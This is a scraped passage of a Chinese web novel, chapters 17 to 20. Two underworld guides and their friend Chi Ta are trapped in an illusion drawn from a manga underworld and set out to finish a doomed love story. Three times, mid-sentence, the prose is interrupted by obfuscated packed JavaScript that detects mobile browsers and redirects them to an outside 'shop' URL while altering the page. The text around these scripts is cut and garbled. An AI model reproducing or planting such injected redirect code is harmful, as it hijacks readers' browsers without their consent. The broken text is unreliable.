画魂笔目光掠过元宝和猫等等,点了点头便没再搭话,几下收拾好背包,率先往出口方向走去。 池塔只以为他是签收一天太累,对他的冷漠毫不在意,招呼了下元宝,便快步跟了上去。 走出会展中心侧门,太阳已经彻底落下。 人行道两边塞满了退场的观众,有的拎着行李箱,有的两手拿满了购物袋,还有的什么东西没拿,但是一身夸张的造型铠甲。 看着池塔和画魂笔在前面有一搭没一搭的聊着,跟在后面的元宝和猫等等愈发不安。 (猫等等:味道越来越重了,除了霉腐味,还多了一点腥气。) (元宝:嗯,我也闻到了) (猫等等看了池塔一眼:好像只有我们能闻到?池塔那小子一点反应都没有。) 两人用对讲器小声交流着,几人之间维持着诡异的和谐。 直到拐进一条连接主路和小吃街的背街小巷。 巷子不宽,两边老墙上的痕迹诉说着自己的年岁,路灯似乎也比之前的要昏暗些。 就在元宝抱着猫等等,紧随池塔踏进箱子阴影的刹那,脚下地面传来一道极其轻微的波动。 之前若有若无的腥臭味忽然暴涨,扑鼻而来。 元宝瞳孔一缩,一把将走在前面的池塔拽到自己身边。 "等等?你干嘛?" 池塔被拽得踉跄一步后,一脸茫然: “诶?!画魂笔老师呢?!” 巷子还是那条巷子,墙上的枯藤、远处隐约的车流声、甚至霓虹灯闪烁频率和之前别无二致。 但原本走在前方的画魂笔,连同元宝拎着的物料箱和猫包,都在刚刚涟漪产生的那一瞬,同时消失。 池塔张着嘴看了眼空荡荡的前方,又看了看面色凝重的元宝和他脚边那只如临大敌的奶牛猫,后知后觉的打了个寒颤。 “等……等等,这这是怎么回事?” 元宝看向他语气平静:“池塔。” “……啊?” “你怕鬼吗?” 池塔被这没头没脑的问题问得一愣。 “……鬼?哪种?游戏里的那种?还是密室大逃脱?”他挠挠头,“应该还好吧,我从小玩恐怖游戏长大的,之前还当过恐怖游戏主播。” “不是那种……算了。” 元宝看他的眼神带了点怜悯,最后摇摇头,语气带上郑重: “接下来,你可能会看到一些不太科学的现象,你做好心理准备了吗?” “……哈??比如?” “比如……”元宝斟酌了下用词,“我和元宝可能会暂时消失一下?” 池塔的眼睛缓缓睁大,脸上写满了“你在说什么外星语”的茫然。 他看了眼画魂笔消失的地方,带上了点颤音。 “你们也要消失?!为什么?你要去哪?你要留我一个人在这鬼地方吗?!” (猫等等:看吧,我就说他会怕。) 猫等等晃了下尾巴,还想继续吐槽,就听到池塔倒吸一口凉气,眼睛瞬间爆发出惊人的亮光: “等等!你这个说法……这个气氛……难道,难道说——?!” 他激动得声音拔高了几度,甚至下意识上抓住了元宝的胳膊: “是那种情况对吧?!就是那种!现实和异世界的夹缝!灵异事件现场!卧槽!真的假的?!我一直以为那只是设定!!” 元宝:“…………?” (猫等等优雅的猫步一个踉跄:靠,忘了这家伙骨灰级中二病人设了……) “所以你们其实是什么……隐藏的特殊部门?异能者?天哪,等等,你居然还藏着这样的身份!” “需要我做什么?画符?念咒?还是有什么特殊道具?” “我《冥府巡游》的周边徽章还在口袋里!有用吗?!” 元宝努力维持住表情,想抽回自己的胳膊。 没抽动。 元宝:“……” “咳,不用。你只需要保持安静,还有,松手。” “哦……哦哦!抱歉,第一次在现实里遇到这种故事,有点激动过头。” 池塔连忙撤回手,不好意思地在身上蹭两下后,朝元宝郑重敬了个礼。 “请组织放心!保证完成任务!” 说完小步退到墙边,一脸“我准备好见证历史了”的激动表情。 猫等等从元宝眼中看到了和自己一样的无语。 也行吧,至少不用担心他被吓晕了。 二人集中意念,一黑一白两道光晕分别亮起,无常魂力涌动。 元宝变回了头戴高帽的白无常小猫。 于等等恢复了黑色劲装加身的黑无常模样,手腕晃动间,锁链碰撞出“当啷”轻响。 池塔的嘴巴从元宝开始变化时就张开了。 等到两人完全显形,他的嘴巴已经彻底张成了O型,原本发着亮光的眼珠子此刻几乎要瞪出眼眶。 他踉跄地后退了一步,手指颤颤巍巍地至于等等,脸上原本的兴奋彻底被恐惧取代,嘴唇哆嗦了半天才挤出几个破碎的音节: “黑、黑……白……无常……?” “我这是要死了吗?所以才能看到勾魂使者?刚才那些……是走马灯????” ? 于等等比池塔还要震惊,几乎是和元宝同时脱口而出: “你看得到我们?!” “!!!” 原本只是踉跄后退的池塔瞳孔再次地震。 他看了眼坐在地上口吐人言的奶牛猫,一只手捂住自己的胸口,脸色从惨白转向了濒死的青灰,另一只手抖得像秋风里的落叶: “猫……猫说人话了……” 话音未落,他一屁股坐到了地上。 元宝:“…………” 于等等:“…………?” 于等等:“不是,怎么就坐下了,难道在他看来,猫会说话比看见黑白无常还吓人?” 元宝看着眼神涣散的池塔,沉吟了好一会。 “可能在他的世界观里,黑白无常属于超自然设定,可以接受。” “而猫说人话,属于基础物理法则崩坏?” “……大概是。” 没等他们从这诡异的逻辑冲击中缓过来,周围的开始变化。 两侧的老墙,往来的车流以及远处小吃的香气,像拼图般一片片剥落,最终只剩下一片迷茫着灰色雾气的天地。 脚下踩着的水泥地面变成了泛着微光的灰色石板路。 身边的雾气逐渐淡去,显露出两侧造型古朴的建筑。 清灰色的檐角悬挂着样式古朴的灯笼,每一个灯笼里都燃烧着一团绿色的火焰。 空气中原本浓得化不开的腥臭味变成了香灰味。 于等等如释重负地深吸了一口气。 “太好了,至少这个幻境味道正常。再闻下去,我真怕自己吐出来。” 话音刚落,池塔见了鬼般“嗷”的一声跳起来。 “什么东西?!你别过来!” 他的脚边,一个缠着绷带的人头悠哉悠哉地滚过去,嘴里还念叨着:“现在的鬼,怎么越来越没素质了,挡路了知不知道?” 听到人头说话,池塔条件反射地一脚踢了过去,眼看就要给这绷带头一个暴击。 “等等,别——” 于等等伸出的尔康手悬在半空,她眼睁睁地看着池塔的脚从那个人头上穿了过去。 骂骂咧咧的声音从池塔背后传来: “你个破烂人头,要过路就过路,老子就爱站在这里怎么了?不服你来打我呀?” “嘿,有身子了不起?我今天不打你,我今天咬死你!” 人头一个飞跃,直直冲着池塔面门飞去。 眼看池塔快被吓得翻白眼了,于等等眼疾手快把他拉到一旁。 人头从池塔耳边呼啸而过,带着一股阴风,然后…… 一口咬在池塔身后那个矮胖男鬼的胳膊上。 “哎呦喂!”矮胖男鬼惨叫起来,拼命甩着胳膊,满脸横肉都在跟着抖,“你快给我松口!” “不松!就是不松!有本事你也咬我呀!” 人头咬得死紧,嘴里还含糊地继续挑衅,画面诡异得于等等不知道是该害怕还是该笑。 眼看那个矮胖鬼真的打算下嘴,“哞——!” 一声浑厚的牛叫炸开,震得于等等耳朵嗡嗡响。 “吵什么吵?还不赶紧跟上队伍!” 一只足有两个于等等高的牛头人走了过来,于等等条件反射地后退了一大步。 那牛头鼻子上穿着一个巨大的铜环,漆黑的牛角弯曲着指向天空,脖子上戴了一条用骷髅头穿成的项链,每走一步,那些骷髅头就碰撞出“咯咯”脆响。 刚刚还在斗嘴的两个鬼瞬间噤声。 没等绷带头松嘴,矮胖鬼已经抱着人头,一溜烟跑进了不远处的一个队伍里。 队伍长到几乎看不到头,排队的鬼们有缺胳膊的,有少腿的,有半个脑袋都没了的,奇形怪状,但各个都规矩的往前慢慢挪动。 队伍另一侧,一个巨大的马面拿着根鞭子,偶尔在地上抽两下,催促那些鬼们快点走。 稍远一些,立着两个带着高帽的高瘦身影,一黑一白,一个吐着长舌头,一个哭丧着脸,各自拿着令牌哭丧棒和锁链,跟着队伍一起前进。 池塔目光呆滞地看着这位高大的牛头擦着他的衣角走向队伍,喉结剧烈滚动了一下。 “牛头马面、黑白无常……” 他几乎带着哭腔看向于等等和元宝。 “我这是真下地府了?我就说刚刚那是走马灯,现在到站了,你们是来接我的对吧?呜呜呜我还这么年轻,我爸的家产我还没开始败呢!” 于等等被吵得脑壳疼,一巴掌拍在他肩膀上,力道没收住,拍得他一个趔趄,她又赶紧伸手把他扯回来。 “别哭了,这是幻境,您老还没死呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328490|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没死?”池塔泪眼婆娑地看向她,一滴泪挂在眼角,要掉不掉。 “那这周围是什么?地府主题沉浸式体验馆?你们无常还搞兼职?” “兼职你个头!我们是正经黑白无常!” 她几乎想要再给他一巴掌,手抬到一半,又放下了。 算了,看在他这么惨的份上。 池塔却更悲伤了。 “正经黑白无常?所以是你死了?什么时候的事?!你刚刚不是还好好地参加展会的吗?!” “我也没死,我们都没死!而且现在的重点是怎么出去。” 于等等环视四周,面色多了几分凝重,“现在这个地府,不太对劲。” “他们看不到我们。” 一直观察四周的元宝出声。 “这里的一切太标准了,像是从民俗画册里直接照搬过来的,每个细节都符合人们对地府的想象。” “想象?难道地府不是这样的?” “当然不是,真正的地府可没有这么复古。” 于等等指了下坐在不远处石凳上,正在写字的判官鬼。“至少我见过的判官不会拿册子记账,而是用……” “三折叠屏手机,还能投屏。”元宝接话。 池塔:“……???” “还有群聊、幽博、周刊杂志,记者还……”于等等眼神飘忽了一下,“挺八卦的。” 池塔的嘴张得能塞下一个鸡蛋。 “孟婆汤被改良成了奶茶,还能外卖配送。”元宝补充。 “武器也是半自动,比如自动瞄准,新手友好。” “还可以打视频电话。” “还要写报告和考核KPI。” …… 池塔的嘴张得更大了。 他艰难地咽了口唾沫:“所以真正的地府还挺现代化?” “那当然。”于等等点头,莫名生出一种现代人穿越到古代的优越感。 等等……外卖? 好像到饭点了? 她快速打开系统,在商城里兑换了一管草莓味的魂力补充剂,打开塞子倒在手心。 “今晚的,你还没喝。”她蹲下身,把手递到元宝面前。 递过来就后悔了。 死手,就你手快。 但这时候再收回来好像更奇怪。 于等等只好努力绷住脸,假装自己只是在做一件很平常的事。 元宝似乎真的没注意到她僵硬的手腕,蹲坐下来迅速舔完后,走到一边慢条斯理舔着爪子。 池塔看着他身上肉眼可见更亮了的毛发,指着那凭空出现的光屏和药剂,手指抖得像帕金森: “这……这又是什么高科技?” “传说中的系统,地府已经全面线上办公了。” 于等等努力忽视掉手心残留的麻痒,又买了一管补充剂揣进口袋里,收起光屏。 “所以这里肯定不是真的地府。” “那这是哪里?”池塔还没从震惊中缓过来,“总不会像爱丽丝漫游仙境一样,穿越到另一个世界了吧?” “漫游仙境?” 于等等重复着池塔的话,脑子里有什么东西闪了一下。 “这个故事说的是爱丽丝睡着之后进入了书里的世界,对吧?” “是啊。”池塔不明所以。 于等等又转向元宝:“你刚刚是不是说,这个地府好像从画册里照搬过来的一样?” “嗯。”元宝甩了下尾巴,似乎也想到了什么。 “所以有没有可能,我们进入的也是某个故事里的地府?比如……” 她想到了这次的主角。 “画魂笔。” “啊?可是爱丽丝是可以和故事里的角色互动的呀,这里的鬼甚至看不到我们。” “所以只是猜测嘛。”于等等耸耸肩,“先观察一下,看看能不能找到什么线索。等我们破了这里的主人留给我们的谜题,或许就能出去了。” “解谜?所以这里不是沉浸式体验馆,而是密室大逃脱?” “额……非要这么说的话,”她看着池塔那张写满“我的人生为什么这么魔幻”的脸,“也行吧。” 至少不用像上次鬼屋那样排队。 凭借着周围的鬼看不到自己的优势,于等等几人悄悄挪到了附近几个正在唠嗑的鬼差身后。 “听说了吗?忘川河畔出事了!”一个尖嘴猴腮的鬼差对同伴挤眉弄眼。 “何事?莫非又有痴情鬼不肯喝汤,跳河了?” “比那还稀奇!有人把孟婆她老人家养在河心小洲下的七彩仙鲤给捞了,架火烤了吃!” “嚯!谁啊这么猛?” “不清楚,但据说那烤鱼的香气,勾得那天路过忘川的鬼差都走不动道,连奈何桥头的风都带了三分焦香味儿!孟婆气得把汤勺都撅了,扬言要揪出那毛贼,罚他去刀山火海烧三百年锅炉!” “彩虹锦鲤……烤了吃……”于等等嘴角抽了抽,“这缺德又熟悉的操作……” 元宝的胡子抖了抖:“你说,这个幻境,有没有一部分是正月大佬的手笔……” 想起早上正月任务里“人多眼杂别丢人”的提示,于等等突然觉得脑子有点空白。 “元宝,你说有没有可能,这些npc里,真有一部分是我们的同事……所以才会知道真地府的八卦……” 元宝:“………………” 18.《幽虚记》 得知自己没死,池塔的中二之魂再次占据上风。 他眼睛发亮地看向于等等: “这里不会真有你的同事吧?是八卦里说的正月大佬吗?这么刺激?” 于等等看着他跃跃欲试的表情,心想到时候你真见到了,就不觉得刺激了,毕竟正月是个吓哭新人都不带眨眼的真·老六。 “大概有吧。毕竟烤锦鲤这种缺德事都能传进来,说明这个幻境至少有一部分信息是相通的。” 池塔更兴奋了:“那岂不是说我们可以正大光明偷听地府八卦了?” “嗯?”于等等眉毛一挑。 这倒是一条未曾设想过的道路。 她还在心里感慨池塔的脑回路,身后又飘来几个声音。 这次来的几个鬼穿着和之前不太一样,看上去像是文职人员,袖口还绣着细小的纹路。其中一个戴着方帽的文官叹了口气: “刚才看到素练和玄墨两位大人前后脚走过去,眼神都没对上,我这心里怪不是滋味的。” “谁说不是呢?”旁边的人接话,“明明两情相悦,天作之合,偏偏现在一个守东冥,一个镇西冥,一守就守了上千年。” 于等等耳朵一动。 素练?玄墨? “怎么了?”元宝察觉到她的异样,抬头问她。 “这是《地府吐槽日记》里的主角名。可我怎么记得漫画里他俩是冤家来着,见面就掐,互相拆台,就是个职场死对头。” “两情相悦?”一个身着蓝袍的年轻文官替于等等问了出来。“这俩大人不是竞争对手吗?” “你是近些年新来的,不知道他们以前的交集。我听判官殿的老文书喝醉时提过一嘴,这两位大人原本是有姻缘线的。”这次开口的是一位年纪长点的文官。 “什么?有姻缘线?”旁边几人倒吸一口冷气,“那后来呢?” “几千年前的一次任务中,断了。” “断了?” “嘘——小点声。” 那文官左右看看,把几位同伴拉近了些。 于等等几人也把头凑近了点。 “据说是任务中出了什么意外,两人的姻缘线被硬生生扯断,两位大人也因此元气大伤,不得不历经十次轮回修复。” “十次轮回啊,”那个文官感慨,“按理说这么多次,怎么着也能修出条新的姻缘线吧?可结果呢?” “结果怎么样?” “跟中了诅咒似的。次次轮回都重新爱上对方,但又次次在即将吐露心声时,阴差阳错地错过。” 这不是搞笑漫画吗?怎么设定比电视剧还虐? 于等等被勾起好奇心,听得更仔细了。 “十次轮回结束了,姻缘线还是一人半根,连个结都没打上。” “那之后呢?” “之后两位大人都不愿意再去投胎了。都一心搞事业,几百年都不一定能见上一面。这次好不容易述职,时间对上了,能一起回来,结果……” 他叹了口气。 “刚才那场面你们也看到了,话都不说一句,直接错身走过去。” 旁边几人跟着叹息:“也太虐了吧。” “确实虐。” 于等等自顾自地加入了讨论。 “不过我听说呀,”另一个文官接话,“玄墨大人其实一周前就回来了。” “一周前?那他怎么不去述职?” “就是说啊……” 几人对视一眼,眼神里全是那种“你懂的”的微妙。 于等等意味深长地跟着点头。 “这套路我熟,就是那种‘我假装加班,其实在等你下班’。” 本来在专心听故事的元宝闻言抬头看她。 “你经历过?” “当然没有啦!我们公司禁止办公室恋情,这是我小说里看到的。” “哦……这个规定挺好的。” 于等等:“……?” 元宝这脑回路怎么回事,被池塔传染了? 不对……池塔! 平时数他最话痨,今天怎么这么安静。 于等等看向池塔,却发现他正眉头皱得死紧,摸着下巴在思考什么。 “池塔?”于等等伸手在他面前挥了挥,没反应。 正打算再挥个手,池塔一巴掌拍在自己的大腿上:“哎呀!我想起来了!” 动静大得于等等下意识回头看了那几个鬼差一眼,见那几人还在专心八卦,这才松了口气。 “你小点声!虽然对方暂时看不到我们,谁知道会不会有突发情况!小心为上!” “哎呀,我是真想起来了!”池塔两眼放光。“他们刚刚说的素练和玄墨的故事,是《幽虚记》里的!就是《地府吐槽日记》的姐妹篇!” ? 于等等若有所思:“你细说。” “《地府吐槽日记》里,他俩是普通的职场死对头见面就掐没错。但《幽虚记》里讲的正是刚刚那几个文官鬼说的前世故事,相爱相杀……不对,是相爱却不能享受,被永恒族诅咒的虐恋!” 于等等和元宝对视了一眼,脑子转地飞快。 现在这个地府,确实是画魂笔漫画里的故事没错,但遵循的却是《幽虚记》的设定。那破解的关键,很可能就在漫画剧情本身。 而他们几人里,唯一知道《幽虚记》剧情的只有…… 于等等看想池塔的目光从疑惑变成若有所思,最后变成了意味深长。 她弯了弯嘴角,还没来得及开口,池塔突然后退一大步,警惕地抱起胳膊:“于等等!你别这么看我!” “为啥?” “从小时候开始,你只要这么看我,准没好事!上次你这么看我的时候是让我帮你写检讨,上上次是让我帮你背锅!再上次是……” 听着池塔的滔滔不绝,元宝目光落到于等等脸上。 尾巴尖不受控制地晃了一下。 那张脸笑得眼睛弯弯,露出一点虎牙,眉心是从未有过的舒展。 这样的表情,他第一次见。 他又看向池塔。 池塔正往后躲,嘴上嚷嚷着,表情却全是配合。 “那都多少年的事情了?而且我这次还什么都没说呢。”于等等无辜地眨眨眼。 “你眼神已经全说了!”池塔指向元宝,“还有那只猫,他看我的眼神更可怕!” 于等等顺着他手指的方向看去,元宝已经收回视线,低头舔了舔爪子,舔得专心致志。 于等等忍不住笑了一下。这人学坏了啊,这种时候装无辜倒是熟练。 她语气尽量温和下来:“这次真就是问个小问题。” 池塔还在警惕:“……你问。” “我记得你刚才说,《幽虚记》你看了?” “看了啊。他投稿到我们出版社的稿子,编辑部都传阅了,虽然画风听老派,但故事确实挺致郁的。” “那剧情你还记得多少?” “都记得啊!我过目不忘你又不是不知道。” “那太好了,”于等等笑眯眯地凑近一步,“根据我们刚刚经历过的剧情,你能想起来现在对应着漫画里哪个章节吗?” “对应章节……”池塔捏着下巴打量起周围。 从面前的几个小文官,转到不远处的鬼怪队伍上,又转到更远一点的古朴建筑上。 于等等和元宝安静等着,期待感在池塔目光看向她们时拉到最高。 “对应的章节是……” “是——?” “是什么我也不知道啊!” “??” “你不是说你过目不忘吗!”于等等有些恨铁不成钢。 “可《幽虚记》几乎都是围绕着主角发展的啊!”池塔理直气壮,“你让我对着路人甲猜剧情,这不是为难我吗?” 于等等深吸一口气。 忍住,这是自己发小,不能打。 看来还得继续从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯。”元宝应得一本正经。 蓝袍文官转过身,对着几个同僚拱了拱手:“那什么……各位同僚,下官忽然想起还有些事务要处理,先告辞了。” “哎呀,不愧是新人,工作就是比我们这些老人认真!” 一个文官笑眯眯地摆手。 “去吧去吧,也不用太累。你在这位子上呆久了就知道,好多事情,面子上过得去就行了。” “好的好的,谢谢前辈们指导。” 蓝袍文官施了个礼,朝着一个方向慢悠悠地走了过去。 于等等目送他走远,嘴角弯起,池塔却是声音有些发飘。 “他……他刚才……你们……” 于等等无辜地眨眨眼:“怎么啦?” “什么叫怎么啦?!他刚才的反应,分明是在回应你们吧?!” “嗯哼~” “可NPC不是看不见我们吗?你怎么做到的?!” “不是和你说了吗,”于等等笑眯眯地拍了拍他的肩膀,一脸深藏功与名,“同事呀~” 她抬脚跟上那个蓝袍文官,走了两步又回头冲他招手:“愣着干嘛?导游都走了,快跟上!” “所以你们刚才是在钓鱼?你俩什么时候商量好的,我怎么完全没看出来?” 元宝仰着头从他身边走过,尾巴轻轻扫过他小腿: “这叫搭档。” ??? 不是,这猫怎么回事,这话怎么听着有点宣誓主权?是我的错觉吗? 猫不是独居型动物吗,也护主? 不对呀,猫也能当白无常? 池塔不理解,但池塔大受震撼。 19.主线任务解锁 于等等几人跟着蓝袍文官不紧不慢地往前踱着步。 起初周围还是一片灰蒙蒙的荒凉地界,只有零星几个建筑冒头。 走了大概十分钟的功夫,建筑才开始像模像样起来,行色匆匆的鬼差也多了不少。 “所以到底怎么认出素练和玄墨?” 于等等边走边问, “总不能见一个黑白无常就上去问‘您好,请问您是主角吗?’吧。” “那肯定不行。” 池塔捏着下巴,难得正经思考起来, “不过素练有个特征挺明显的,她眉心有道浅红的印记。尤其是情绪波动的时候,会变成赤红色。” “那玄墨呢?” “他呀,有枚玉佩。” 池塔比划着形状,“漫画里给过好几次特写,据说是某次轮回里,他打算送给素练的定情信物。” “那既然是要给素练的,为什么一直在他自己身上?” “没送出去呀。玄墨轮回成将军时,攒了一年的军饷买了块玉准备表白用。结果表白前一天,素练轮回的那个小兵战死沙场了。” “……” “这剧情……玄墨还挺惨的。”于等等干巴巴地说。 元宝没出声,但动了动耳朵表示赞同。 “这还只是铺垫。往后的每一世,玄墨都带着那块玉,但每次一要送出去,两人就各种意外。最后十次轮回都结束了,这不,玉佩还在玄墨自己身上挂着呢。” “难怪先出版《地府吐槽日记》呢,这么虐的剧情在市场上的受众确实相对少点。”于等等若有所思。 “不过《幽虚记》里的主角画风怎么样?”她突然想到一个严肃的问题,“我是说美术画风哈,不是个性格画风。” “你们也看见刚刚队伍边上的那两个黑白无常了吧?吐着长舌头的那个样……你们说这个幻境里的素练和玄墨,不会也吐着长舌头吧?” 空气诡异地安静下来。 于等等脑子里不受控制地浮现出一个画面—— 一对眉清目秀的俊男美女深情对视,眼眶里都是戏,嘴唇微启,准备说出那句攒了千年的情话,结果一张嘴,舌头“啪”! 双双垂到胸口。 她打了个哆嗦。 池塔显然也想到了同一件事,声音有点飘:“不至于吧?漫画里没这么画过呀,只有背景板里的NPC会吐长舌头。 唯独元宝迈着的猫步没有丝毫停顿,他尾巴尖扫过于等等的小腿:“想那么多干嘛,见到不就知道了。” “对对对,还没见着人呢,万一这个幻境设定正好能违背常识呢!” 漫画世界不需要那么严谨! 于等等正自我洗脑着,前面带路的蓝袍小文官停了脚步。 在他的侧前方,一个恢弘的殿宇立在那里,门头牌匾上写着四个鎏金大字: 【述职大殿】。 门口还立着两排执戟的鬼卒。 池塔吹了声口哨:“够气派的呀!” 于等等也想感慨两句,却见那蓝袍文官对着天空愣了两秒,然后一拍脑门: “哎呀!怎么就走错到述职大殿了呢?你看我这脑子,明明是要去西边的文史殿,怎么走到这里来了?哎呀呀,这下可耽误时间了!” 他把脑门拍得啪啪响,边说边忘回走,语气里是十二分的懊恼。 于等等:“……” 元宝:“……” 池塔凑过来压低声音:“这真是你们同事啊?戏这么多吗?” 于等等深吸一口气,也压低声音回他:“……可能吧。” 池塔的表情一言难尽: “你们地府公务员平时工作挺累的吧?看把孩子憋的,逮着机会拼了命地表演,过年给家长表演节目都没这么浮夸的。” 于等等想反驳,但想想魏判官那个“芋圆”嗑糖群,又想了想正月偷烤锦鲤的八卦,最后想了想眼前这位“哎呀走错了”的浮夸演技。 她把反驳的话咽了回去。 “走吧,我好像听到他们已经开始述职了。” 元宝动了动耳朵,率先朝着殿门方向迈步。 几人光明正大地从正殿大门走了进去。 殿内,几个身着官袍的人立在殿中央挨个述职。 于等等扫了一眼: “怎么是三个黑无常?素练不是白无常吗?人呢?” “那些小鬼差八卦说他俩一前一后来的,”元宝也四处张望了下,“应该就在这附近。” “也对,我们先找玄墨。” 几人绕到那几个述职的黑无常侧面。 于等等边走还边琢磨,万一今天玄墨怕素练触景生情,没带玉佩怎么办?总不能冲上去扒人家衣服看藏没藏在怀里吧? 等走到几人正面,她抽了抽眼角。 行吧,自己真是想太多。 眼前这三位黑无常,背影看上去差不多,可一到正面,区别对待得不要太明显。 C位那个黑无常,简直就是明星遇上素人,五官画风直接碾压旁边两位好几个等级。 剑眉星目、鼻梁挺直都是基本配置,浑身散发的“我是主角生人勿近”的气场才是重点。 至于衣服,于等等觉得用买家秀和卖家秀来形容都得被举报诈骗。 都是标准款的黑无常制服,C位这位衣服上绣满暗纹就算了,腰间的束带上还镶嵌了颗大宝石,熠熠生辉! 于等等:“……” 她扯了扯池塔的袖子,声音发飘: “那什么……漫画里画风也区别对待得这么明显的吗? “……嗯,是有那么点区别。但也没到这么离谱的程度。” 池塔显然也没预料到主角会如此出众。 出众到周围人得是瞎了,才察觉不出来异样。 “好吧,那就还有另一种可能。” 于等等不忍直视地捂住脸,透过指缝看向元宝。 “什么可能?”池塔不明所以。 “咱们的同事怕我们找不着主角,特意在幻境里加了点料……” 元宝尾巴扫了下地面。 池塔看向C位那个浑身发光的黑无常,又看向旁边那两个灰扑扑的背景板,嘴角抽了抽。 “所以,头顶帽子上那流光溢彩的天下太平特效,也是你们同事的手笔?” “……大概吧。” “你们地府的同事……” 池塔说不下去了。 于等等替他说完:“真不知道该说他们贴心好,还是该说他们就是单纯爱凑热闹,闲的。” 元宝目光坚定:“都有。” 几人正小声嘀咕着,殿中央那个头顶流光大字、浑身暗纹的黑无常上前一步。 “下官玄墨,镇守西冥三百年,辖区内共处理游魂暴动263起,接引亡魂34267名。前阵子西冥深渊一带出现异动,下官已率部镇压,目前局势稳定。” 阎王坐在高位上,边听边点头,偶尔翻两下手里的册子:“听说你在镇压中伤了元气?” “小伤,不碍事。” “述职完了别急着走,多休息几日,把状态养好再回去。” 玄墨抱拳行礼:“谢阎君。” 于等等眼睛一下子瞪圆了。 “所以他这几天留下来是为了养伤,不是等素练?” 怎么莫名有种CP粉嗑糖嗑到玻璃渣的感觉。 池塔也一脸幻灭地凑过来: “我以为是双向奔赴,结果是单方面养伤?那帮鬼差八卦了半天,嗑的是假的?” “养伤和等人不冲突。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335678|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元宝悠悠开口。 ?! “有道理啊!”于等等眼睛一亮,“伤要养,人也要等,两不耽误。” “我怎么就没有想到这个角度呢?还是你会嗑。”池塔也一脸敬佩。 殿中央的述职还在继续,内容无外乎是哪里有点小动静、哪里需要加派人手、哪里需要申请经费的官话。 于等等听得无聊,她悄咪咪蹲下身,戳了戳元宝的脑袋:“我们以后不会也要这样述职吧?” “不清楚,”元宝甩了甩尾巴,“有可能需要。” “……这也太无聊了。” 于等等想起以前被领导和导师支配的恐惧。 “站在大殿中央对着领导念工作总结,念完还要被点评。这不就是开组会吗?而且还是那种不能摸鱼的组会。” 元宝耳朵动了动:“也不一定。” “怎么说?” “至少你可以摸猫。” “?” “……” 于等等深吸一口气。 来了,他来了。元宝带着他的冷笑话走来了。 “哎!”池塔也蹲下来,扯了扯于等等的袖子,语气有些兴奋,“我好像想起个事。” “想起什么?” “玄墨刚才说的深渊暴动,还有受伤的事,这是《幽虚记》里一个蛮重要的剧情。” “然后呢?”于等等精神一振。 “暴动之后,玄墨回来述职,在下一次出发前,他会去找素练一趟。” “所以果然是在故意等素练!不对……所以我们只要跟着玄墨,就能找到素练?” “对对对!” “那之后的剧情呢?” 池塔表情垮下来:“崩了。” “哈?” “其实这段剧情已经接近末尾了。从玄墨去找素练开始,画魂笔交过来的稿子画风就不对劲了,剧情乱跳,画面也崩。我当时看完还跟编辑吐槽,怀疑是不是他工作室的助手代笔了。” 于等等和元宝对视一眼。 “所以我们现在所在的这部分,正好卡在剧情开崩之前?” “对,再往后就没法看了。”池塔坚定点头。 于等等:“……” “我忽然有一种不好的预感。这画魂笔不会是自己卡文了,等着我们帮他写后续剧情吧?” 池塔也倒吸一口冷气:“所以刚刚我邀请他吃饭的时候,他才答应得那么干脆?” “这也太没职业道德了吧!” 于等等从地上跳起来。 “总不会还要给咱们规定个KPI吧?来个NPC好评度达到90%才能出去?这是把咱们当羊毛薅啊!不能因为我们一个是画师、一个是编辑,就这样搞我们吧!” 话音刚落,“叮——” 系统光屏凭空弹出,怼到于等等脸上。 【检测到关键词“KPI”“好评度”“90%”,正在生成主线任务……】 【主线任务生成完毕。】 【任务名称:补全《幽虚记》大结局】 【任务目标:帮助玄墨与素练达成HE(HappyEnding),让姻缘线重新连接】 【任务要求:NPC对结局的好评度达到90%以上】 【任务奖励:离开幻境+功德积分×2000+隐藏奖励×1】 【任务提示:你们的身份很关键。画师与编辑,**与**,都是***的***,这不就是专业对口吗?】 于等等:“……” 池塔凑过来看了一眼,表情逐渐扭曲。 “你们这地府系统……还挺幽默。” 倒也不必这么幽默。 还有你都任务提示了,你倒是提示全面啊,你搞几个乱码什么意思????? 20.玄墨和素练 玄墨前脚刚走出述职大殿,后脚就被一个小鬼差拦下来。那鬼差恭恭敬敬递上一个玉盒,低声说了几句什么就退下了。 池塔伸长脖子:“什么东西什么东西?快让我看看!” “别挤。”于等等把他往后扒拉了一下,“虽然人家看不见我们,但也不能太嚣张。 话是这么说,她自己却没忍悄悄住往前探了探脑袋。 玄墨拇指在玉盒上摸索了好一会儿才打开。 里面躺着一支白色玉兰花。花瓣舒展,还带着露水。 玄墨原本板着的黑脸,肉眼可见地柔和下来,连那身生人勿近的气场都软了一点。他盯着花看了好一会儿,脚步一转,朝着之前完全相反的方向走去。 这气场变化的是不是有点快? “那不会是素练送给他的约会邀请吧?”于等等猜测。 “你怎么知道?” 